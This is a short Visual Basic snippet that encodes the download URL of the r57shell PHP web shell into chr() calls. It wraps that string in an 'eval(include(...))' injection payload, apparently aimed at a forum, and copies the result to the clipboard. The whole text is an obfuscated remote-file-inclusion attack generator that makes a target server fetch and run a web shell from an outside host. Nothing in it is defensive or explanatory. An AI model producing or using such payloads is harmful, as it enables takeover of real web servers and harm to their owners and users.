url = "http://rst.void.ru/download/r57shell.txt"
For i = 1 To Len(url)
   result = result & "chr(" & Asc(Mid(url, i, 1)) & ")."
Next i
result = "r57ipbxplhîhîhîeval(include(" & Mid(result, 1, Len(result) - 1) & "));"
MsgBox result
Clipboard.SetText result